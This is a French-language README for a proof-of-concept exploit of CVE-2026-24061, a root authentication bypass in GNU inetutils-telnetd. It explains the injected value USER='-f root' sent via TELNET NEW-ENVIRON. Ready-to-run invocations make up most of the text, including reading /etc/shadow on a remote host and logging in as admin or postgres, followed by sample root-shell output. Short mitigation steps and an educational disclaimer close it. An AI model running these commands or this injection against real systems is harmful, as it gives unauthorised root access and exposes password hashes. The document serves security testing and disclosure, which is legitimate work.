
inetutils-telnetd Contournement de l'authentification - fonctionnel
Une preuve de concept d'exploitation pour la vulnérabilité de contournement d'authentification dans GNU inetutils-telnetd.
CVE-2026-24061 est une vulnérabilité critique de contournement d'authentification affectant les versions 1.9.3 à 2.7 de inetutils-telnetd. Elle permet à un attaquant distant d'obtenir un shell root sur les systèmes vulnérables sans fournir d'identifiants.
| Champ | Valeur |
|---|
| ID CVE | CVE-2026-24061 |
| Logiciel affecté | GNU inetutils-telnetd |
| Versions affectées | 1.9.3 – 2.7 |
| Type de vulnérabilité | Contournement d'authentification |
| Score CVSS | Critique |
| Vecteur d'attaque | Réseau |
La vulnérabilité exploite une faille dans la façon dont telnetd gère la variable d'environnement USER reçue via l'option TELNET NEW-ENVIRON (RFC 1572) pendant la négociation du protocole.
Négociation du protocole TELNET : Lorsqu'un client se connecte, le serveur et le client négocient les capacités, y compris l'option NEW-ENVIRON, qui permet au client d'envoyer des variables d'environnement.
Valeur USER malveillante : L'exploit envoie USER=-f root comme variable d'environnement pendant cette phase de négociation.
Passage d'arguments non sécurisé : Le telnetd vulnérable transmet cette valeur non assainie au programme login.
Injection de commande : Le programme login interprète -f root comme des options de ligne de commande :
-f = « forcer la connexion sans authentification »root = le nom d'utilisateur avec lequel se connecterAccès root : L'attaquant obtient un shell root sans jamais être invité à saisir un mot de passe.
Client envoie : USER = "-f root"
telnetd exécute : login -f root
Résultat : Shell root accordé sans authentification
Cela équivaut à exécuter USER='-f root' telnet -a localhost sur un système avec un telnetd vulnérable.
git clone https://github.com/yourusername/CVE-2026-24061.git
cd CVE-2026-24061
chmod +x exploit.py
./exploit.py [OPTIONS] <cible>
| Option | Description | Défaut |
|---|---|---|
host | Nom d'hôte ou adresse IP cible | Requis |
-p, --port | Port cible | 23 |
-u, --user | Valeur USER à injecter | -f root |
-c, --command | Exécuter une seule commande (non interactif) | Aucun |
-t, --timeout | Délai d'expiration de connexion en secondes | 10 |
Shell root interactif sur localhost :
./exploit.py localhost
Shell root interactif sur un hôte distant :
./exploit.py 192.168.1.100
Exécuter une seule commande puis quitter :
./exploit.py -c "id" localhost
./exploit.py -c "cat /etc/shadow" 192.168.1.100
./exploit.py -c "whoami && hostname" target.local
Se connecter en tant qu'utilisateur différent :
./exploit.py -u "-f admin" localhost
./exploit.py -u "-f postgres" database-server
Port non standard :
./exploit.py -p 2323 localhost
Combiner les options :
./exploit.py -p 2323 -c "uname -a" -t 5 192.168.1.100
Lorsqu'il est exécuté sans l'option -c, l'exploit vous place dans un shell interactif :
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - inetutils-telnetd Authentication Bypass ║
║ Affects: inetutils-telnetd 1.9.3 - 2.7 ║
╚══════════════════════════════════════════════════════════════╝
[*] Connected to 192.168.1.100:23
[*] Negotiating TELNET options...
[*] Agreed to NEW-ENVIRON (sending USER='-f root')
[+] Sent USER='-f root' via NEW-ENVIRON
Linux vulnerable-host 5.15.0 #1 SMP x86_64 GNU/Linux
root@vulnerable-host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnerable-host:~#
Désactiver telnetd : Si ce n'est pas strictement nécessaire, désactivez entièrement le service telnet
sudo systemctl stop inetutils-telnetd
sudo systemctl disable inetutils-telnetd
Utiliser SSH à la place : Remplacez telnet par SSH pour l'accès à distance
sudo apt install openssh-server
Règles de pare-feu : Bloquez le port 23 depuis les réseaux non fiables
sudo ufw deny 23/tcp
L'exploit implémente un client TELNET minimal qui :
USER=-f root dans la réponse ENV_ISCet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés.
Licence MIT — Voir LICENSE pour plus de détails.